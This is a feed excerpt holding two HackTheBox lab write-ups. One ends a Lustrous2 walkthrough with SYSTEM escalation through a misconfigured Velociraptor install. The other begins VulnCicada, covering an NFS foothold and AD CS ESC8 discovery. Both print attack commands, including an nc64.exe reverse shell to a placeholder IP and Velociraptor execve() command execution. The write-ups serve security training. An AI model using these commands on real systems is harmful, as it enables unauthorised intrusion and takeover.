&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ERROR] Unable to open file \\?\c:\datastore\config\inventory.json.db: Access is denied.
Creating API client file on \programdata\api.config.yaml.
[ERROR] Unable to open file \\?\c:\datastore\acl\admin.json.db: Access is denied.
velociraptor-v0.72.4-windows-amd64.exe: error: config api_client: Unable to set role ACL: Access is denied.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This threw &lt;code&gt;Access is denied&lt;/code&gt; errors trying to update the datastore ACL files (&lt;code&gt;C:\datastore\config\inventory.json.db&lt;/code&gt;, &lt;code&gt;C:\datastore\acl\admin.json.db&lt;/code&gt;) - but it &lt;strong&gt;still successfully wrote out&lt;/strong&gt; a usable &lt;code&gt;api.config.yaml&lt;/code&gt; API client credential file before hitting those permission errors. In other words, the datastore's ACL enforcement files were locked down, but the client-credential-minting step ran first and succeeded regardless.&lt;/p&gt;

&lt;p&gt;With that API config, Velociraptor's own query engine confirms host info and privilege level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;.&lt;span class="se"&gt;\v&lt;/span&gt;elociraptor-v0.72.4-windows-amd64.exe &lt;span class="nt"&gt;--api_config&lt;/span&gt; &lt;span class="se"&gt;\p&lt;/span&gt;rogramdata&lt;span class="se"&gt;\a&lt;/span&gt;pi.config.yaml query &lt;span class="s2"&gt;"SELECT * FROM info()"&lt;/span&gt; &lt;span class="nt"&gt;--format&lt;/span&gt; jsonl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"Hostname"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"LUS2DC"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"OS"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"windows"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"Platform"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Microsoft Windows Server 2022 Standard"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"IsAdmin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"Fqdn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"LUS2DC.Lustrous2.vl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"Architecture"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"amd64"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then a direct command execution query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;.&lt;span class="se"&gt;\v&lt;/span&gt;elociraptor-v0.72.4-windows-amd64.exe &lt;span class="nt"&gt;--api_config&lt;/span&gt; &lt;span class="se"&gt;\p&lt;/span&gt;rogramdata&lt;span class="se"&gt;\a&lt;/span&gt;pi.config.yaml query &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"SELECT * FROM execve(argv=['powershell','-c','whoami'])"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nl"&gt;"Stdout"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"nt authority&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;system&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"Stderr"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"ReturnCode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"Complete"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Confirmed SYSTEM.&lt;/strong&gt; The same &lt;code&gt;execve()&lt;/code&gt; VQL primitive was used to launch a full reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;.&lt;span class="se"&gt;\v&lt;/span&gt;elociraptor-v0.72.4-windows-amd64.exe &lt;span class="nt"&gt;--api_config&lt;/span&gt; &lt;span class="se"&gt;\p&lt;/span&gt;rogramdata&lt;span class="se"&gt;\a&lt;/span&gt;pi.config.yaml query &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"SELECT * FROM execve(argv=['C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;temp&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;nc64.exe','-e','powershell','your-ip','3333'])"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Caught a shell as &lt;code&gt;nt authority\system&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nt authority\system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop
&lt;span class="nb"&gt;type &lt;/span&gt;root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;root flag, redacted&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Attack Chain (End to End)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Recon&lt;/strong&gt; — Nmap shows a Kerberos-only AD DC; IIS site returns &lt;code&gt;401 Unauthorized&lt;/code&gt; with &lt;code&gt;Negotiate&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anonymous FTP&lt;/strong&gt; leaks a full valid AD username list plus an audit note that flags &lt;strong&gt;weak passwords&lt;/strong&gt; as an unresolved issue.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kerbrute&lt;/strong&gt; confirms all 71 harvested usernames are real accounts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Password guess&lt;/strong&gt; (&lt;code&gt;Lustrous2024&lt;/code&gt;, following a &lt;code&gt;&amp;lt;name&amp;gt;&amp;lt;year&amp;gt;&lt;/code&gt; pattern) cracks &lt;code&gt;Thomas.Myers&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Fix local &lt;strong&gt;Kerberos SPN canonicalization&lt;/strong&gt; (&lt;code&gt;rdns = false&lt;/code&gt;) so the DC's Kerberos-protected web app becomes reachable at all.&lt;/li&gt;
&lt;li&gt;Discover the &lt;strong&gt;LuShare&lt;/strong&gt; internal file app; abuse a &lt;strong&gt;path traversal&lt;/strong&gt; in the download endpoint to read arbitrary files.&lt;/li&gt;
&lt;li&gt;Trigger that same download endpoint against a &lt;strong&gt;UNC path&lt;/strong&gt;, coercing the app's &lt;code&gt;ShareSvc&lt;/code&gt; service account to authenticate to a &lt;strong&gt;Responder&lt;/strong&gt; listener; capture and &lt;strong&gt;crack its NetNTLMv2 hash&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Use the LFI to pull &lt;code&gt;web.config&lt;/code&gt; and the compiled &lt;code&gt;LuShare.dll&lt;/code&gt;, then &lt;strong&gt;decompile&lt;/strong&gt; it - revealing a hidden &lt;code&gt;/File/Debug&lt;/code&gt; PowerShell-execution endpoint gated by a hardcoded PIN and &lt;code&gt;ShareAdmins&lt;/code&gt; group membership.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;ShareSvc&lt;/code&gt;'s recovered password to perform a &lt;strong&gt;Kerberos S4U2self&lt;/strong&gt; impersonation of &lt;code&gt;Ryan.Davies&lt;/code&gt; (a &lt;code&gt;ShareAdmins&lt;/code&gt; member), gaining admin-role access to the app without his password.&lt;/li&gt;
&lt;li&gt;Use the now-accessible &lt;code&gt;/File/Debug&lt;/code&gt; endpoint + hardcoded PIN to get &lt;strong&gt;PowerShell RCE as &lt;code&gt;ShareSvc&lt;/code&gt;&lt;/strong&gt;; spot the non-standard &lt;code&gt;C:\datastore&lt;/code&gt; directory; work around the 100-char limit by staging &lt;code&gt;nc64.exe&lt;/code&gt; for a full reverse shell.&lt;/li&gt;
&lt;li&gt;Follow the &lt;code&gt;C:\datastore&lt;/code&gt; lead into &lt;code&gt;C:\Program Files&lt;/code&gt; and find a misconfigured local &lt;strong&gt;Velociraptor&lt;/strong&gt; server install; mint an API client credential and use Velociraptor's &lt;code&gt;execve()&lt;/code&gt; VQL query to run commands (and a reverse shell) as &lt;strong&gt;NT AUTHORITY\SYSTEM&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Read &lt;code&gt;root.txt&lt;/code&gt; - box complete.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Key Vulnerabilities / Root Causes
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Anonymous FTP&lt;/strong&gt; on the DC leaking a full internal username list (&lt;code&gt;Homes&lt;/code&gt; share directory names) and an internal audit note.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Predictable AD password&lt;/strong&gt; (&lt;code&gt;&amp;lt;MachineName&amp;gt;&amp;lt;Year&amp;gt;&lt;/code&gt; pattern) - one account crackable by guessing, not brute force.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kerberos-only web app misconfigured for discovery&lt;/strong&gt; - a working site was returning &lt;code&gt;401 Unauthorized&lt;/code&gt; with &lt;code&gt;Negotiate&lt;/code&gt; and looked broken/dead until Kerberos SPN resolution was fixed client-side (DNS canonicalization issue).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Path traversal / LFI&lt;/strong&gt; in the file-download feature of the internal "LuShare" app — arbitrary file read as any authenticated domain user, including the app's own compiled binary and config.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hardcoded debug backdoor&lt;/strong&gt; (&lt;code&gt;/File/Debug&lt;/code&gt;) in the shipped code - accepts a static, hardcoded PIN and executes arbitrary PowerShell, restricted only by an &lt;code&gt;[Authorize(Roles = "ShareAdmins")]&lt;/code&gt; check and a 100-character command length cap.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NTLM authentication coercion&lt;/strong&gt; - the app's download endpoint would reach out to attacker-supplied UNC paths, letting the service account's NetNTLMv2 hash be captured with Responder.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak service account password&lt;/strong&gt;, cracked from the captured hash in seconds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kerberos S4U2self abuse&lt;/strong&gt; - the service account can request tickets "as" other users for its own service, which was leveraged to escalate to an admin group member of the web app.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Insecure Velociraptor deployment&lt;/strong&gt; - SYSTEM-level DFIR/endpoint-management tool installed with an accessible config directory (&lt;code&gt;C:\datastore&lt;/code&gt; at the OS root) and API config, giving trivial &lt;code&gt;SYSTEM&lt;/code&gt; command execution once local access was gained.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://woshub.com/configuring-kerberos-authentication-on-iis-website/" rel="noopener noreferrer"&gt;Configuring Kerberos Authentication on IIS Website — Windows OS Hub&lt;/a&gt; — background on why the site only responds to &lt;code&gt;Negotiate&lt;/code&gt;/Kerberos and how SPNs are resolved.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.hackingarticles.in/threat-hunting-velociraptor-for-endpoint-monitoring/" rel="noopener noreferrer"&gt;Threat Hunting: Velociraptor for Endpoint Monitoring — hackingarticles.in&lt;/a&gt; — background on Velociraptor's architecture and query interface, used to identify the &lt;code&gt;execve()&lt;/code&gt; privesc path.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: VulnCicada Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 01 Jul 2026 08:43:24 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-vulncicada-writeup-1o0o</link>
      <guid>https://dev.to/exploitnotes/hackthebox-vulncicada-writeup-1o0o</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Started with a full nmap sweep that showed a standard Domain Controller (DNS, Kerberos, LDAP, SMB, RPC) but with two extra things worth noting: an NFS server running alongside it, and AD CS (Certificate Services) installed. Anonymous/guest SMB and LDAP were both shut down, and it turned out NTLM is disabled domain-wide - Kerberos only.&lt;/p&gt;

&lt;p&gt;The NFS export was the actual opening: &lt;code&gt;/profiles&lt;/code&gt; was mountable by anyone, no creds needed. Inside one of the profile folders was an image with a plaintext password hidden in it, which gave a working domain account. From there, enumeration turned up AD CS being vulnerable to ESC8 (web enrollment over HTTP). Because NTLM was off, a normal NTLM relay into ADCS didn't work, so I had to relay Kerberos itself instead, using a DNS trick to redirect the DC's own coerced authentication into a rogue relay server. That got a certificate for the DC's machine account, which turned into a TGT + NT hash, which turned into a DCSync, which turned into the Administrator hash, which turned into a SYSTEM shell.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;-Pn&lt;/code&gt; because AD boxes often block ICMP and I don't want nmap deciding the host is down. &lt;code&gt;-A&lt;/code&gt; grabs versions, OS guess and default scripts in one go.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="m"&gt;53&lt;/span&gt;/&lt;span class="n"&gt;tcp&lt;/span&gt;    &lt;span class="n"&gt;domain&lt;/span&gt;          &lt;span class="n"&gt;Simple&lt;/span&gt; &lt;span class="n"&gt;DNS&lt;/span&gt; &lt;span class="n"&gt;Plus&lt;/span&gt;
&lt;span class="m"&gt;80&lt;/span&gt;/&lt;span class="n"&gt;tcp&lt;/span&gt;    &lt;span class="n"&gt;http&lt;/span&gt;            &lt;span class="n"&gt;Microsoft&lt;/span&gt; &lt;span class="n"&gt;IIS&lt;/span&gt; &lt;span class="n"&gt;httpd&lt;/span&gt; &lt;span class="m"&gt;10&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="m"&gt;88&lt;/span&gt;/&lt;span class="n"&gt;tcp&lt;/span&gt;    &lt;span class="n"&gt;kerberos&lt;/span&gt;-&lt;span class="n"&gt;sec&lt;/span&gt;
&lt;span class="m"&gt;111&lt;/span&gt;/&lt;span class="n"&gt;tcp&lt;/span&gt;   &lt;span class="n"&gt;rpcbind&lt;/span&gt;          -&amp;gt; &lt;span class="n"&gt;nfs&lt;/span&gt; (&lt;span class="m"&gt;2049&lt;/span&gt;), &lt;span class="n"&gt;mountd&lt;/span&gt;
&lt;span class="m"&gt;135&lt;/span&gt;,&lt;span class="m"&gt;139&lt;/span&gt;,&lt;span class="m"&gt;445&lt;/span&gt;  &lt;span class="n"&gt;msrpc&lt;/span&gt; / &lt;span class="n"&gt;netbios&lt;/span&gt;-&lt;span class="n"&gt;ssn&lt;/span&gt; / &lt;span class="n"&gt;microsoft&lt;/span&gt;-&lt;span class="n"&gt;ds&lt;/span&gt;
&lt;span class="m"&gt;389&lt;/span&gt;,&lt;span class="m"&gt;636&lt;/span&gt;,&lt;span class="m"&gt;3268&lt;/span&gt;,&lt;span class="m"&gt;3269&lt;/span&gt;  &lt;span class="n"&gt;ldap&lt;/span&gt; / &lt;span class="n"&gt;ldaps&lt;/span&gt; (&lt;span class="n"&gt;Domain&lt;/span&gt;: &lt;span class="n"&gt;cicada&lt;/span&gt;.&lt;span class="n"&gt;vl&lt;/span&gt;)
&lt;span class="m"&gt;464&lt;/span&gt;/&lt;span class="n"&gt;tcp&lt;/span&gt;   &lt;span class="n"&gt;kpasswd5&lt;/span&gt;
&lt;span class="m"&gt;593&lt;/span&gt;/&lt;span class="n"&gt;tcp&lt;/span&gt;   &lt;span class="n"&gt;ncacn_http&lt;/span&gt;
&lt;span class="m"&gt;2049&lt;/span&gt;/&lt;span class="n"&gt;tcp&lt;/span&gt;  &lt;span class="n"&gt;mountd&lt;/span&gt;/&lt;span class="n"&gt;nfs&lt;/span&gt;
&lt;span class="m"&gt;3389&lt;/span&gt;/&lt;span class="n"&gt;tcp&lt;/span&gt;  &lt;span class="n"&gt;ms&lt;/span&gt;-&lt;span class="n"&gt;wbt&lt;/span&gt;-&lt;span class="n"&gt;server&lt;/span&gt;
&lt;span class="m"&gt;5985&lt;/span&gt;/&lt;span class="n"&gt;tcp&lt;/span&gt;  &lt;span class="n"&gt;WinRM&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Straightforward DC (&lt;code&gt;DC-JPQ225.cicada.vl&lt;/code&gt;), but NFS on a Windows DC is unusual and worth poking at, and port 80 later turns out to be the ADCS web enrollment page.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ruling out the easy stuff
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'guest'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
nxc ldap &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All three came back &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt;, which is the tell for NTLM being disabled entirely on this domain — it's Kerberos-only. That one detail ends up shaping the whole rest of the box.&lt;/p&gt;

&lt;p&gt;Added the DC to &lt;code&gt;/etc/hosts&lt;/code&gt; so Kerberos SPNs resolve properly later:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;machine-ip&amp;gt; cicada.vl DC01.cicada.vl dc01.cicada.vl'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  NFS — the actual foothold
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rpcinfo &lt;span class="nt"&gt;-p&lt;/span&gt; &amp;lt;machine-ip&amp;gt;
showmount &lt;span class="nt"&gt;-e&lt;/span&gt; &amp;lt;machine-ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Export list for &amp;lt;machine-ip&amp;gt;:
/profiles (everyone)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;(everyone)&lt;/code&gt; means it's exported with zero access restriction — mount it from anywhere:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /mnt/profiles
mount &lt;span class="nt"&gt;-t&lt;/span&gt; nfs &amp;lt;machine-ip&amp;gt;:/profiles /mnt/profiles
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /mnt/profiles
tree &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.
├── Administrator
│   ├── Documents
│   │   ├── $RECYCLE.BIN
│   │   │   └── desktop.ini
│   │   └── desktop.ini
│   └── vacation.png
├── Daniel.Marshall
├── Debra.Wright
├── Jane.Carter
├── Jordan.Francis
├── Joyce.Andrews
├── Katie.Ward
├── Megan.Simpson
├── Richard.Gibbons
├── Rosie.Powell
│   ├── Documents
│   │   ├── $RECYCLE.BIN
│   │   │   └── desktop.ini
│   │   └── desktop.ini
│   └── marketing.png
└── Shirley.West

16 directories, 6 files
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One folder per domain user (roaming profiles), and two stray image files sitting in there: &lt;code&gt;Administrator/vacation.png&lt;/code&gt; and &lt;code&gt;Rosie.Powell/marketing.png&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cp &lt;/span&gt;Administrator/vacation.png /home/kali/htb/vuln
&lt;span class="nb"&gt;cp &lt;/span&gt;Rosie.Powell/marketing.png /home/kali/htb/vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;(pics below)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vacation.png&lt;/code&gt; was just a vacation photo, nothing in it. &lt;code&gt;marketing.png&lt;/code&gt; was weird — it wouldn't open properly in a Linux image viewer but opened fine on Windows, which usually means there's extra data appended after the actual image data. Opening it on Windows showed a little note with a plaintext password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cicada123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sitting right there in Rosie Powell's profile folder, so the obvious guess is it's her password.&lt;/p&gt;

&lt;h2&gt;
  
  
  Confirming the leaked creds
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Rosie.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; Cicada123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Failed with &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt; again — right, NTLM's off. Add &lt;code&gt;-k&lt;/code&gt; to force it through Kerberos instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Rosie.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; Cicada123 &lt;span class="nt"&gt;-k&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That worked — &lt;code&gt;cicada.vl\Rosie.Powell:Cicada123&lt;/code&gt; is valid.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mapping the domain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Rosie.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; Cicada123 &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;--users&lt;/span&gt;
nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Rosie.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; Cicada123 &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;--shares&lt;/span&gt;
nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Rosie.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; Cicada123 &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;--rid-brute&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Basic sweep of users, shares, and SIDs now that there's a valid account to enumerate with.&lt;/p&gt;

&lt;p&gt;Shares worth noting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CertEnroll   READ    Active Directory Certificate Services share
profiles$    READ,WRITE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;CertEnroll&lt;/code&gt; confirms AD CS is running here, which is where this is heading next.&lt;/p&gt;

&lt;p&gt;Grabbed a proper Kerberos ticket so tools that expect a ccache instead of a raw password work cleanly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-getTGT cicada.vl/Rosie.Powell:Cicada123
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Rosie.Powell.ccache
klist
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  AD CS — ESC8
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;certipy find &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'Rosie.Powell@cicada.vl'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Cicada123'&lt;/span&gt; &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-target&lt;/span&gt; DC-JPQ225.cicada.vl &lt;span class="nt"&gt;-vulnerable&lt;/span&gt; &lt;span class="nt"&gt;-stdout&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;certipy find -vulnerable&lt;/code&gt; checks every template and the CA config against the known ESC1–ESC16 misconfig list automatically instead of having to eyeball ACLs by hand.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Web Enrollment
  HTTP  Enabled: True
  HTTPS Enabled: False
...
[!] Vulnerabilities
  ESC8: Web Enrollment is enabled over HTTP.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



